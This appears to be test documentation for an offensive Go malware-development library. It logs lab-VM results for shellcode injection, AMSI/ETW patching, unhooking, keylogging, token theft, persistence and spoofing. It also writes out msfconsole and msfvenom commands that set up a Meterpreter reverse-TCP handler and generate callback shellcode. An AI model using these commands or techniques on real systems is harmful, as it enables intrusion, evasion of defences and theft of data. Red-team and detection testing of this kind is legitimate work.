MALDEV_INTRUSIVE=1Enable tests that modify system state (hooks, patches, injection)
MALDEV_MANUAL=1Enable tests that need admin + VM (real shellcode, service manipulation)
MALDEV_TEST_USERUsername for impersonation tests
MALDEV_TEST_PASSPassword for impersonation tests

Injection CallerMatrix

Tests every injection method × every syscall calling convention. 35 combinations tested.

MethodWinAPINativeAPIDirectIndirectType
CreateThreadSelf
EtwpCreateEtwThreadSelf
CreateRemoteThreadRemote
RtlCreateUserThreadRemote
QueueUserAPCRemote
NtQueueApcThreadExRemote
EarlyBirdAPCSpawn
ThreadHijack⚠️⚠️Spawn
CreateFiberSelf
  • ⚠️ ThreadHijack + Direct/Indirect: NtGetContextThread/NtWriteVirtualMemory fail with STATUS_DATATYPE_MISALIGNMENT — RSP alignment issue in syscall stubs
  • ⛔ CreateFiber: deadlocks Go's M:N scheduler with real shellcode

Standalone Injection Functions

FunctionMeterpreter TestedNotes
SectionMapInject✅ SESSION_OKRemote, uses Caller
KernelCallbackExec✅ SESSION_OKRemote, no Caller
PhantomDLLInject✅ SESSION_OKRemote, no Caller
ThreadPoolExec✅ SESSION_OKLocal, no Caller
ModuleStomp✅ SESSION_OKLocal, needs CreateThread for execution
ExecuteCallback (EnumWindows)✅ SESSION_OKLocal, synchronous
ExecuteCallback (TimerQueue)✅ SESSION_OKLocal, timer thread
ExecuteCallback (CertEnumStore)✅ SESSION_OKLocal, synchronous (Kali session 48 confirmed)
SpawnWithSpoofedArgs✅ SPOOF_OKProcess arg spoofing — real args executed, fake visible

Meterpreter End-to-End

Prerequisites

  1. Kali VM running with MSF (ssh -p 2223 kali@localhost)
  2. Windows VM with Defender exclusions
  3. SSH key at /tmp/vm_kali_key

Setup

# Start MSF handler on Kali (sleep 3600 keeps it alive)
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'nohup msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -j -z; sleep 3600" > /tmp/msf.log 2>&1 &'

# Wait 20s for MSF boot, then generate shellcode
ssh -i /tmp/vm_kali_key -p 2223 kali@localhost \
  'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw' > /tmp/msf_payload.bin

# Copy to VM
VBoxManage guestcontrol Windows10 copyto --target-directory "C:\Temp\" /tmp/msf_payload.bin

Key Finding: MSF sleep trick

msfconsole exits when stdin closes (not a crash — EOF). nohup/screen don't help because they close stdin. Fix: add sleep 3600 as the LAST MSF -x command. This is an MSF sleep (not bash), keeping the process alive while the handler runs.

Results (2026-04-14)

22 unique meterpreter sessions established across all 21 injection techniques (including CertEnumStore). SpawnWithSpoofedArgs verified separately (not a shellcode injection — confirms PEB argument overwrite).

Evasion Tests

AMSI Patch

FunctionWinAPINativeAPIDirectIndirectBytes Verified
PatchScanBuffer31 C0 C3 (xor eax,eax; ret)
PatchOpenSessionConditional jump flipped (JZ → JNZ)
PatchAllBoth ScanBuffer + OpenSession patched

ETW Patch

FunctionWinAPINativeAPIDirectIndirectBytes Verified
EtwEventWrite48 33 C0 C3
EtwEventWriteEx48 33 C0 C3
EtwEventWriteFull48 33 C0 C3
EtwEventWriteString48 33 C0 C3
EtwEventWriteTransfer48 33 C0 C3
NtTraceEvent48 33 C0 C3

Unhook

FunctionWinAPINativeAPIDirectIndirectVerification
ClassicUnhookTarget: NtCreateSection, stub = 4C 8B D1 B8
FullUnhookAll ntdll stubs = 4C 8B D1 B8

ClassicUnhook safelist: NtClose, NtCreateFile, NtReadFile, NtWriteFile, NtQueryVolumeInformationFile, NtQueryInformationFile, NtSetInformationFile, NtFsControlFile — all rejected to prevent Go runtime deadlock.

stealthopen Opener / Creator composition

stealthopen exposes a symmetric pair of optional interfaces that mirror the *wsyscall.Caller pattern — nil falls back to the standard os operation, non-nil routes through whatever stealth strategy the caller wires up.

Read side — Opener: the unhook, phantomdll, and herpaderping functions accept it. nil keeps the historic path-based os.Open / windows.CreateFile, non-nil (typically *stealthopen.Stealth) routes reads through OpenFileById and makes path-based EDR file hooks blind to the operation.

Write side — Creator: the LNK, ADS, .kirbi, lsass-minidump, PE rewrite, and .syso emit paths accept it. nil falls back to *StandardCreator (plain os.Create); non-nil lands the file through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, raw NtCreateFile, etc.). Byte-ready callers go through stealthopen.WriteAll(creator, path, data); streaming producers (lsassdump.DumpToFileVia, masquerade.GenerateSysoVia) drive the returned io.WriteCloser directly.

PackageTest fileCoverage
evasion/stealthopenopener_test.go (host)Standard.Open, Use(nil)==Standard, fake opener pass-through; StandardCreator.Create, UseCreator(nil)==StandardCreator, fakeCreator pass-through; WriteAll nil/non-nil/Create-error propagation
evasion/stealthopenopener_windows_test.go (VM)VolumeFromPath (drive/UNC/Win32/relative/empty), NewStealth round-trip via OpenFileById, Stealth.Open state validation, Stealth ignores caller's path argument
evasion/unhookopener_windows_test.go (VM, intrusive)spyOpener counts: ClassicUnhook/FullUnhook each call Open exactly once on ntdll.dll; real Stealth round-trip proves full unhook still succeeds
injectphantomdll_opener_test.go (Windows build, host-safe)spyOpener asserts PhantomDLLInject makes 2 opens on the same System32 DLL path (PE parse + NtCreateSection HANDLE)
process/tamper/herpaderpingopener_windows_test.go (Windows build, host-safe)spyOpener asserts payload+decoy reads both go through the Opener; empty DecoyPath → single call
persistence/lnklnk_test.go (VM)recordingCreator confirms WriteVia routes through the Creator's Create call with the expected path; nil fallback writes a non-empty .lnk via StandardCreator

Run just the Opener / Creator paths:

./scripts/vm-run-tests.sh windows "./evasion/stealthopen/..." "-v -count=1"
./scripts/vm-run-tests.sh windows "./evasion/unhook/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./inject/..." "-v -count=1 -run PhantomDLLInject_UsesProvidedOpener"
./scripts/vm-run-tests.sh windows "./process/tamper/herpaderping/..." "-v -count=1 -run Opener"
./scripts/vm-run-tests.sh windows "./persistence/lnk/..." "-v -count=1 -run WriteVia"

Other Evasion

TechniqueTestVerification
ACG EnableTestACGBlocksRWXVirtualAlloc(PAGE_EXECUTE_READWRITE) returns error after Enable()
BlockDLLs EnableTestBlockDLLsPolicyProcess alive = policy set
Phant0m KillTestKillEventLogThreadsEventLog service threads terminated (TEB tag resolution)
Herpaderping RunTestRunWithDecoyDisk file = decoy content, not original payload
SleepMask SleepTestSleepMask_EncryptedDuringSleepBytes XOR-encrypted during sleep, restored after
SleepMask e2eTestSleepMaskE2E_DefeatsExecutablePageScannerConcurrent scanner cannot find canary during masked sleep; protection round-trips
AntiVM DetectVMTestDetectVMInVirtualBoxReturns "VirtualBox" in VirtualBox VM
AntiVM DetectProcessTestDetectVBoxProcessFinds VBoxService.exe, VBoxTray.exe

BSOD

Driven by cmd/vmtest + a target-side PowerShell harness (see scripts/vm-test.ps1). The standalone scripts/vm-test-bsod.go runner listed in docs/vm-test-setup.md § Phase 5 is still TODO — reproduction today is manual:

  1. Launch the harness via scheduled task (interactive session, schtasks /Run).
  2. The harness calls cleanup/bsod.Trigger(nil).
  3. First tries NtRaiseHardError (intercepted on Win 10 22H2).
  4. Falls back to RtlSetProcessIsCritical(TRUE) + os.Exit(1).
  5. VM crashes with CRITICAL_PROCESS_DIED.
  6. Operator restores the INIT snapshot: virsh snapshot-revert <vm> --snapshotname INIT --force or VBoxManage snapshot <vm> restore INIT.

SSN Resolver Verification

All 4 resolvers return identical SSNs for the same function:

FunctionSSNHellsGateHalosGateTartarusHashGate
NtAllocateVirtualMemory0x0018
NtProtectVirtualMemory0x0050
NtCreateThreadEx0x00C2
NtClose0x000F

Cross-validated: x64dbg reads SSN bytes from ntdll prologue (offset +4, +5) and compares with resolver output. All match.

Collection

FeatureTestVerification
ScreenshotTestCapturePNG magic bytes 89 50 4E 47
Screenshot boundsTestDisplayBoundsWidth/height > 0
Clipboard readTestReadTextNo crash
Clipboard roundtripTestReadTextRoundtripSet-Clipboard → ReadText = exact match
Clipboard watchTestWatchChannel closes on context cancel
Keylog hook installTestStartHook installs + channel open
Keylog captureTestCaptureSimulatedKeystrokesSendInput(VK_A) → KeyCode=0x41
Keylog cancelTestStartCancelChannel closes on timeout

Token Operations

FunctionTestVerification
Steal (self)TestStealSelfValid token from own PID
Steal (remote)TestImpersonateTokenFromRemoteProcessSteal notepad token + impersonate
OpenProcessTokenTestOpenProcessTokenSelfToken handle non-zero
UserDetailsTestTokenUserDetailsUsername non-empty
IntegrityLevelTestTokenIntegrityLevelReturns string (Medium/High/System)
PrivilegesTestTokenPrivilegesAt least one privilege listed
Enable/DisableTestEnableDisablePrivilegeRound-trip toggle
ImpersonateTokenTestImpersonateTokenToken-based (no credentials)

Persistence

MechanismTestVerification
Registry Run keyTestSetAndGet + TestDeleteFull CRUD lifecycle (Set → Get → Exists → Delete)
Scheduler taskTestCreateAndDeleteCreate → Exists=true → Delete → Exists=false
LNK Save (disk via WScript.Shell)TestSave.lnk produced is non-empty under t.TempDir
LNK BuildBytes (zero-disk via IShellLinkW + IPersistStream)TestBuildBytes + TestBuildBytesNoArtefactHeader byte = 0x4C; no maldev-lnk-* directory left in TEMP
LNK WriteTo (zero-disk → io.Writer)TestWriteToBytes equal to BuildBytes round-trip into bytes.Buffer
LNK WriteVia (zero-disk → stealthopen.Creator)TestWriteVia_NilUsesStandardCreator + TestWriteVia_DelegatesToCreatornil falls back to os.Create; recordingCreator captures the right path
LNK SetIconLocationIndexedTestSetIconLocationIndexedBuilder packs (path, index) into the WSH "path,N" form
LNK Hotkey parserTestParseHotkey8 cases — Ctrl/Alt/Shift/Control aliases, F1/F-out-of-range, single-letter, single-digit, unsupported keys

Cleanup

FunctionTestVerification
SelfDelete (script)TestRunWithScriptInChildBinary file removed from disk
Timestomp SetTestSetFile mtime changed
Timestomp CopyFromTestCopyFromDestination times match source
Memory WipeAndFreeTestWipeAndFreeVirtualQuery returns MEM_FREE

PE Operations

FunctionTestVerification
BOF LoadTestLoadParses COFF headers, validates machine type
BOF ExecuteTestExecuteNopBOFRuns nop.o without crash
PE ParseTestOpenValidPESections, imports, exports parsed
PE Strip timestampTestSetTimestampTimestamp changed
PE SanitizeTestSanitizePclntab F1FFFFFF wiped + sections renamed
PE Morph UPXTestUPXMorphSection names randomized
sRDI ConvertDLLTestConvertDLLShellcode generated from DLL

Linux Testing

Injection Methods

MethodTestResultVerification
/proc/self/memTestProcMemSelfInjectChild writes via /proc/self/mem, prints PROCMEM_OK
memfd_createTestMemFDInjectCreates anonymous fd, ForkExecs /bin/true ELF copy
ptraceTestPtraceInjectSpawns sleep target, attaches via ptrace, injects
purego (mmap+exec)TestPureGoExecmmap RWX + direct call (no CGO)
procmem crash verifyTestProcMemVerificationInjection → SIGSEGV = shellcode executed

Linux Debugger Equivalent

Instead of x64dbg, Linux verification uses:

  • /proc/PID/maps — read memory layout, find RWX regions
  • /proc/PID/mem — read/write process memory directly
  • GDB (gdb -p PID) — available on Ubuntu VM for interactive debugging
  • strace — trace syscalls (memfd_create, mmap, ptrace)

Running Linux Tests

# On host (orchestrates VM)
./scripts/vm-run-tests.sh linux "./..." "-v -count=1"

# On Ubuntu VM directly
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test $(go list ./... | grep -v scripts) -count=1 -timeout 120s

# Linux meterpreter e2e (requires Kali handler running first)
# From host: start MSF handler via KaliStartListener
# On Ubuntu VM:
MALDEV_MANUAL=1 MALDEV_INTRUSIVE=1 MALDEV_KALI_HOST=192.168.56.200 \
  go test -v -run TestMeterpreterRealSessionLinux ./c2/meterpreter/ -timeout 120s

# Linux shell PTY (self-contained, no Kali needed)
MALDEV_MANUAL=1 go test -v -run "TestShellPTYLinux" ./c2/shell/ -timeout 60s

Linux e2e Results

TestResultNotes
TestShellPTYLinux✅ PASSPTY echo + command output verified
TestShellPTYLinuxLifecycle✅ PASSStart/stop/reconnect lifecycle
TestMeterpreterRealSessionLinux✅ PASSSession 1 opened on Kali (192.168.56.200:4444 → 192.168.56.103)

Platform Test Summary

PlatformPackages OKFAILInjection MethodsMeterpreter
Windows 10 (VM win10)6409 methods × 4 callers + 12 standalone22 sessions
Windows 11 (VM win11-2)TBD per run — see deltas belowvariessame matrix as win10; remote-thread methods bite on Win11TBD
Ubuntu 25.10 (VM)2604 methods (procmem, memfd, ptrace, purego)1 session (Linux meterpreter)

Win10 → Win11 cross-version deltas (run captured 2026-04-26)

The windows11 test target (VM win11-2, build 26100 / Win11 24H2) exposes mitigations Win10 22H2 doesn't. Categories:

SiteWin10Win11-2Likely cause
cleanup/selfdelete/TestDeleteFile{,Force}PASSFAILWin11 changes to MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics
evasion/hook test binaryPASS*build failed (Defender quarantine)Win11 Defender def signatures flag the test EXE — fixed via Defender exclusions in bootstrap-windows-guest.ps1 (re-snapshotted 2026-04-26)
pe/srdi test binaryPASS*quarantinedSame Defender root cause; same fix
inject/TestCallerMatrix_RemoteInject (CRT/RtlCUT/QUAPC/NtQAPCEx × WinAPI+Direct)PASS8 sub-failsWin11 hardening on cross-process write + thread-create primitives
process/tamper/fakecmd/TestSpoofPIDPASSFAILPROC_THREAD_ATTRIBUTE_PARENT_PROCESS tighter on Win11 (consistent with the PPIDSpoofer known-limitation already noted on Win10 22H2 — gap widened on Win11)
process/tamper/herpaderping/TestRunWithDecoy{,VerifyProcessCreated}PASSFAILWin11 image-load notify changes break the herpaderping primitive
recon/dllhijack/TestValidate_OrchestrationEndToEndFAIL (timing flake)PASSOrchestration timing — not a Win11 regression

* On a clean Defender state. Defender signatures rotate; the evasion/hook and pe/srdi quarantines were observed on win10 in run 2 even though they passed on run 1. The bootstrap script now installs path + process exclusions on first provision (see scripts/vm-test/bootstrap-windows-guest.ps1).

These deltas are real signal — exactly the reason the second Windows target exists. Mitigation work tracks per chantier:

  • Remote-injection deltas (CallerMatrix) → revisit in chantier IV (Win11 sigs validation) and the v0.33.0+ Caller-routing follow-ups in the lsass plan.
  • fakecmd / herpaderping → mark as Win11-aware skips with build detection (win/version.IsAtLeast(11)); document ATT&CK detection delta.
  • selfdelete → research the Win11 rename-on-reboot regression; check whether the new FILE_RENAME_INFO + FILE_DISPOSITION_INFO_EX path needs an alternate code path.

PPID Spoofing

The c2/shell package includes a PPID spoofer (PPIDSpoofer) that creates child processes under a fake parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.

FunctionTestResultNotes
ParentPIDTestParentPIDReturns parent PID of current process
NewPPIDSpooferTestNewPPIDSpooferConstructor, default targets
FindTargetProcessTestPPIDSpooferFunctional⚠️ SKIPExploit Guard blocks CreateProcess with spoofed parent on Win 10 22H2
SysProcAttrTestPPIDSpooferSysProcAttrNoTargetError on missing target

Known Limitation: Windows 10 22H2 blocks PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with ACCESS_DENIED even with admin + SeDebugPrivilege + no ASR rules configured. This appears to be a kernel-level mitigation (not ASR/Exploit Guard). OpenProcess(PROCESS_CREATE_PROCESS) succeeds, but CreateProcess with the spoofed parent fails. The technique works on older Windows versions without these protections.

Sprint 2 Additions (2026-04-15)

Three new feature packages + one doc overhaul were battle-tested this session. Host runs and VM runs both captured; bugs fixed on the spot.

inject callbacks — 3 new execution methods

MethodTestResultFix landed during session
CallbackReadDirectoryChangesTestExecuteCallbackReadDirectoryChangesPASS
CallbackRtlRegisterWaitTestExecuteCallbackRtlRegisterWaitPASSWT_EXECUTEONLYONCE + RtlDeregisterWaitEx(INVALID_HANDLE_VALUE) to avoid post-free callback crash
CallbackNtNotifyChangeDirectoryTestExecuteCallbackNtNotifyChangeDirectoryPASSSTATUS_PENDING(0x103) accepted as success; Win11 CET stub requires endbr64 prefix

Allocator helper moved to testutil.WindowsCETStubX64 (shared CET-safe endbr64;ret shellcode; required by Win11 KiUserApcDispatcher).

persistence/scheduler — COM ITaskService rewrite

TestResultNotes
TestCreateAndDeletePASSRegisterTaskDefinition + DeleteTask round-trip
TestCreateWithTimeAndDeletePASSTIME trigger
TestDeleteNonExistentPASSError surface
TestCreateRequiresActionPASSOption validation
TestSplitTaskNamePASSUnit test for path parsing
TestScheduledTaskMechanismPASSpersistence.Mechanism interface
TestExistsNonExistentPASSNon-admin returns false cleanly
TestRunNonExistentPASSError surface
TestListPASSRoot-folder enumeration

Two bugs fixed during the VM run: ole.NewVariant(VT_NULL)nil (oleutil marshaller panic), and StartBoundary now always set (Task Scheduler rejects DAILY triggers without it).

runtime/clr — in-process .NET hosting

TestResultGate
TestInstalledRuntimesPASSalways
TestLoadAndCloseSKIP*ICorRuntimeHost unavailable
TestExecuteAssemblyEmptySKIP*ICorRuntimeHost unavailable
TestExecuteDLLValidationSKIP*ICorRuntimeHost unavailable
TestInstallAndRemoveRuntimeActivationPolicyPASSalways

Load() tries CorBindToRuntimeEx first, falls back to CLRCreateInstance+BindAsLegacyV2Runtime. The three Load-dependent tests run inside a separate helper binary — testutil/clrhost/ — built on demand with a committed <exe>.config that enables legacy v2 activation. testutil.RunCLROperation spawns the helper, inspects its exit code, and maps environmental failures (exit=2, "ICorRuntimeHost unavailable") to t.Skip so the test suite stays green.

* Observed behaviour on Win10 build 19045.6466 + NetFx3 Enabled: even with the committed .config and a fresh unmanaged helper process, GetInterface(CorRuntimeHost) still returns REGDB_E_CLASSNOTREG. The three SKIPs therefore remain on this specific Windows build. The infrastructure is in place for the moment Microsoft restores legacy activation paths, or when running on an environment that does — older Win10 builds, LTSC images, .NET-aware manifested hosts, etc.

Runtime helpers for operational use:

  • clr.InstallRuntimeActivationPolicy() drops <exe>.config next to the running binary before Load.
  • clr.RemoveRuntimeActivationPolicy() deletes it after Load succeeds (mscoree has cached the policy — file no longer needed, OPSEC cleanup).

evasion/cet — CET shadow-stack manipulation

TestResultNotes
TestMarkerPASSVerifies Marker == ENDBR64 opcode
TestWrapIdempotentPASSDouble-wrap is no-op
TestWrapEmptyPASSnil input → just Marker
TestWrapAlreadyCompliantPASSsc starting with ENDBR64 unchanged

cet.Enforced() / cet.Disable() are environment-dependent and not unit-asserted — verified manually on the Win10 VM (returns false; no CET enforcement on this CPU/image combo). Unit-testable on a Win11+CET host.

pe/masquerade — compile-time PE resource embedding (T1036.005)

End-to-end validation via pe/masquerade/internal/e2e_cmd_test:

StepResult
Generator read-only scan of System32PASS (5 identities × 2 UAC variants = 10 sub-packages)
Blank-import → go buildPASS (syso auto-linked)
VERSIONINFO matchPASS — Get-Item masqtest.exe shows CompanyName "Microsoft Corporation", OriginalFilename "Cmd.Exe", full cmd.exe metadata

process/session — WTS enumeration

TestResultVM observation
TestListPASSServices(id=0,Disconnected) + Console(id=1,Active,test@DESKTOP-T8IB37P)
TestActiveSubsetOfListPASSinvariant Active ⊆ List
TestSessionStateStringPASSenum→name mapping

Windows 11 CET gotcha

KiUserApcDispatcher rejects non-endbr64 indirect targets with STATUS_STACK_BUFFER_OVERRUN (0xC000070A). Any future test that allocates a shellcode stub for an APC path must start with F3 0F 1E FA (endbr64). Use testutil.WindowsCETStubX64.

Sprint 2 Extensions (2026-04-15)

Five additional packages landed on top of the Sprint 2 base. All tested on host and on Windows10 VM (snapshot INIT restored between runs).

c2/transport — server-side Listener interface

Adds Listener, NewTCPListener, NewTLSListener as the symmetric of Transport for operator-side reverse-shell handlers. Thin wrappers over net.Listen / tls.Listen with context-cancelable Accept.

Tests (11 PASS, 1 SKIP in loopback race): TestTCPRoundTrip, TestTCPReconnect, TestTCPRemoteAddr, TestTCPContextCancel (SKIP: loopback accepts before ctx fires), TestTCPContextCancelNonRoutable (non-routable addr forces the cancel path), TestNewTLS_Options, TestWithFingerprint, TestNewUTLS_Options, plus malleable HTTP tests.

c2/multicat — multi-session reverse-shell manager

Operator-side listener that multiplexes inbound shells into numbered sessions, reads an optional BANNER:<hostname>\n within 500 ms, and emits lifecycle events on a buffered channel. Never embedded in the implant.

MITRE: T1571.

Tests (6 PASS, in-memory with net.Pipe): TestListenAccept, TestSessionsIDSequential, TestBannerHostname, TestRemoveSession, TestEvents, TestGet. Tests write "\n" from the client side to unblock the 500 ms banner-read deadline so the session registers before Sessions() snapshot.

crypto — lightweight obfuscation primitives

Non-cryptographic but signature-breaking transforms: TEA, XTEA (8-byte block, 16-byte key, 64 rounds, PKCS7), ArithShift (position-dependent byte add), S-Box (random 256-byte permutation + inverse via Fisher-Yates on crypto/rand), and MatrixTransform / "Agent Smith" (Hill cipher mod 256, n∈{2,3,4}, adjugate inverse).

MITRE: T1027 / T1027.013.

Tests: TestTEARoundtrip, TestXTEARoundtrip, TestArithShiftRoundtrip, TestSBoxRoundtrip, TestMatrixTransformRoundtrip (iterates n=2,3,4). All PASS on host + VM.

Gotcha: a compile-time uint32(teaDelta * rounds/2) overflows the untyped-constant range in Go. The runtime sum loop for j { sum += teaDelta } replaces it. matDet needs an explicit n == 1 case for 2×2 matrix inversion (recursive cofactor minors land at 1×1).

process/tamper/fakecmd — SpoofPID remote PEB overwrite

Extends the existing self-spoof to a remote process. Opens the target with PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, walks PEB→ProcessParameters→CommandLine, allocates a new UTF-16 buffer in the target with NtAllocateVirtualMemory, writes the fake string, and patches Length / MaximumLength / Buffer of the UNICODE_STRING in place. No Restore counterpart — the caller tracks the original.

Signature accepts an optional *wsyscall.Caller that routes both NtQueryInformationProcess and NtAllocateVirtualMemory.

MITRE: T1036.005.

Test: TestSpoofPID (PASS, VM elevated). Spawns notepad, calls SpoofPID(pid, fake, nil), then reads the remote PEB back via readRemoteCmdLine and asserts equality. Skipped on host when not running as admin via testutil.RequireAdmin.

encode — markdown documentation page

No new Go code. Creates docs/techniques/encode/README.md covering Base64/Base64URL/UTF-16LE/PowerShell/ROT13, when to encode vs encrypt, and the encrypt → encode layering pattern. All existing encode tests continue to PASS.

VM Infra Fixes Landed With This Sprint

  • Persistent shared folder maldev on Windows10 VM with --automount --auto-mount-point "Z:" so Z:\scripts\vm-test.ps1 resolves.
  • vm-test.ps1 tolerates comma-separated -Packages because VBoxManage guestcontrol drops internal whitespace from -- args; multi-package runs must pass a single ./... glob, commas, or invoke the runner once per package.

Known Limitations

IssueImpactWorkaround
CreateFiber deadlocks Go schedulerCannot test with real shellcode in go testUse standalone binary
ThreadHijack + Direct/IndirectRSP alignment breaks NtGetContextThreadUse WinAPI or NativeAPI
Phant0m depends on EventLog stateMay skip if threads untaggedRun immediately after VM restore
Clipboard needs Session 1guestcontrol = Session 0Run via scheduled task
Keylog singletonMust wait 500ms between Start() callsSleep after cancel
findallmem after x64dbg attachReturns 0 resultsUse InitDebug or self-scan
Syscall stubs transientFreed after Caller GCScan during execution, not after
MSF exits on stdin EOFHandler dies after -r/-x commandsAdd sleep 3600 as last -x command
PPID spoofing blockedKernel-level mitigation on Win 10 22H2 (not ASR)Test on older OS or disable kernel mitigations
Ubuntu no host-only NICCannot reach Kali for meterpreterAdd nic2 hostonly (requires VM shutdown) — DONE
KaliSSH inside VMslocalhost:2223 unreachable from other VMsUse direct host-only IPs or env vars (MALDEV_KALI_HOST)
Kali DHCP IP mismatchKaliHost=192.168.56.200, DHCP assigns .101sudo ip addr add 192.168.56.200/24 dev eth1

Coverage Workflow — test harness state (as of 2026-04-22)

This document is the entry point for any agent or contributor picking up the coverage + VM-testing work. It describes the infrastructure currently in place, how to reproduce it, what passes / skips / fails, and what's left to do.

[!NOTE] The pass/skip counts in this document reflect the 2026-04-22 baseline run. Newer infrastructure shipped after that date — win/com.Error shared HRESULT helper (consumed by runtime/clr + persistence/lnk), stealthopen.Creator write-side interface (LNK / ADS / .kirbi / PE / .syso emit), and the LNK three-sink API (Save / BuildBytes / WriteTo / WriteVia) — has unit-test coverage running on host but has not been re-baselined under bash scripts/full-coverage.sh. See testing.md for the per-package row-level coverage table updated to the current API surface.

For bootstrap from scratch (creating VMs, SSH keys, INIT snapshots) see docs/vm-test-setup.md. For per-test-type details (x64dbg harness, BSOD, Meterpreter matrix) see docs/testing.md. This document is the cross-platform coverage collection workflow itself.


TL;DR — two commands to reproduce everything

# 1) Provision the VMs (idempotent — short-circuits what's already installed).
#    Installs .NET 3.5 on win10, postgresql + msfdb on debian13, then takes
#    a TOOLS snapshot per VM. ~10 min on first run, <30s on re-runs.
bash scripts/vm-provision.sh

# 2) Collect coverage end-to-end (host + Linux VM + Windows VM, all gates
#    open, consolidated report). ~25 min.
bash scripts/full-coverage.sh --snapshot=TOOLS

Outputs (written to ignore/coverage/, which is gitignored):

  • report-full.md — per-package table sorted by ascending coverage, with a function-level gap list for the packages that aren't at 100%.
  • cover-merged-full.out — merged Go cover profile (consumable by go tool cover).
  • tallies.txt — one-line per-run summary in native go test format.
  • <domain>/test.log + <domain>/cover.out — per-VM artifacts.

Script architecture

ScriptRoleDepends on
cmd/vmtestVM orchestrator (start, push, exec, fetch, stop, restore). Extension of the existing tool: new -report-dir flag auto-fetches cover.out + test.loglibvirt or VirtualBox; scripts/vm-test/config.yaml + config.local.yaml
scripts/vm-provision.shInstalls missing tools in each VM and snapshots TOOLSSSH to the 3 VMs; sudo on Kali; UAC bypass via schtasks SYSTEM on Windows
scripts/full-coverage.shEnd-to-end wrapper: boots the 3 VMs, exports all gates, runs host + Linux VM + Windows VM, merges profiles, restores snapshotsscripts/coverage-merge.go, cmd/vmtest
scripts/coverage-merge.goMerges N Go cover profiles (union, per-block max hit count), renders Markdowngo tool cover

Common flags:

  • --snapshot=NAME (default INIT) — snapshot used for restore, also forwarded to vmtest via MALDEV_VM_*_SNAPSHOT.
  • --no-restore — leave VMs running after the run (debugging).
  • --skip-host / --skip-linux-vm / --skip-windows-vm — granular control.
  • --only=<vm> on vm-provision.sh — provision a single VM.
  • Env overrides (MALDEV_VM_WINDOWS_SSH_HOST, MALDEV_KALI_SUDO_PASSWORD, MALDEV_VM_SNAPSHOT, …) for portability across hosts.

Concrete usage examples

# Provision just Windows, don't touch Kali/Linux.
bash scripts/vm-provision.sh --only=windows

# Quick iteration on a single package — skip the host + Linux VM phases.
bash scripts/full-coverage.sh --snapshot=TOOLS --skip-host --skip-linux-vm

# Cross-version coverage: include the optional second Windows build (win11-2).
# Auto-skips when scripts/vm-test/config.local.yaml has no windows11: block.
bash scripts/full-coverage.sh                    # win10 + win11-2 + linux + kali

# Skip the second Windows build explicitly:
bash scripts/full-coverage.sh --skip-windows11-vm

# Narrow vmtest directly at one package (faster than the full wrapper).
MALDEV_VM_WINDOWS_SSH_HOST=192.168.122.122 \
MALDEV_VM_WINDOWS_SNAPSHOT=TOOLS \
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 \
  go run ./cmd/vmtest -report-dir=ignore/coverage windows \
    "./runtime/clr/..." "-count=1 -v -timeout=5m"

# Merge arbitrary profiles by hand.
go run scripts/coverage-merge.go \
  -out ignore/coverage/cover-merged.out \
  -report ignore/coverage/report.md \
  ignore/coverage/cover-linux-host.out \
  ignore/coverage/win10/cover.out \
  ignore/coverage/win10/clrhost-cover.out

Snapshot inventory

Each VM has two snapshots dedicated to the test harness:

VMINITTOOLS
win10Go 1.26.2 + OpenSSH + authorized_keysINIT + .NET Framework 3.5 enabled
win11-2 (optional)Go 1.26.2 + OpenSSH + authorized_keysnot provisioned — second build for cross-version sanity, no TOOLS additions yet
debian13 (Kali)Go + MSF + OpenSSH + authorized_keysINIT + postgresql enable --now + msfdb init
ubuntu20.04-Go 1.26.2 + rsync + authorized_keys(placeholder — identical to INIT for now)

Rule: always test on TOOLS. INIT stays pristine as a fallback if TOOLS gets corrupted. vm-provision.sh is idempotent: if TOOLS already exists and the tools are already installed, it's a no-op.


Test gates (environment variables)

The harness uses opt-in gates so running go test ./... locally doesn't accidentally trigger destructive operations.

VariableEffectWhen to enable
MALDEV_INTRUSIVE=1Unblocks tests that mutate process state (hooks, patches, injection)VM runs only
MALDEV_MANUAL=1Unblocks tests that need admin + VM (services, scheduled tasks, impersonation with password, CLR legacy path, CVE PoCs)VM runs only
MALDEV_KALI_SSH_HOST / _PORT / _KEY / _USERPoints to the Kali VM for MSF/Meterpreter testsAlways set when Kali is up
MALDEV_KALI_HOSTLHOST for reverse payloads — same IP as KaliDitto
MALDEV_VM_WINDOWS_SSH_HOST / _LINUX_SSH_HOSTOverrides virsh domifaddr auto-discovery when the libvirt session can't see DHCP leases (Fedora host)On hosts where auto-discovery fails
MALDEV_VM_*_SNAPSHOTSelects the snapshot used for restore per VMTo pin TOOLS explicitly

scripts/full-coverage.sh exports all 10 variables automatically — pass --snapshot=TOOLS and it handles the rest.


Reference results (run from 2026-04-22 — TOOLS snapshot)

  cover-linux-host.out                     cov=44.8% (host, all gates)
  ubuntu20.04-                             cov=44.4% P=310  F=0*  S=41   (Linux VM)
  win10                                    cov=50.0% P=672  F=0** S=23   (Windows VM)
  ----------------------------------------
  cover-merged-full.out                    cov=51.9% (merged)

Progression over the course of the work:

StepMerged coverageDelta
Baseline (Linux host only, no gates)39.4%
+ Linux VM + Windows VM (3 batches)41.3%+1.9
+ 16 stub tests added43.1%+1.8
+ MALDEV_INTRUSIVE=1 + MALDEV_MANUAL=1 + Kali51.3%+8.2
+ TOOLS snapshot (.NET 3.5)51.3%+0 ¹
+ compat polyfill tests (cmp, slices)51.4%+0.1
+ clrhost subprocess coverage merge51.9–52.0%+0.6

¹ The runtime/clr CLR tests still SKIP on this VM — the TOOLS provisioning enabled .NET 3.5 but the legacy v2 COM activation chain remains incomplete (see CLR v2 activation blocker below). The merge coverage for runtime/clr is from the failure paths in Load(), which the clrhost-cover.out profile captures.

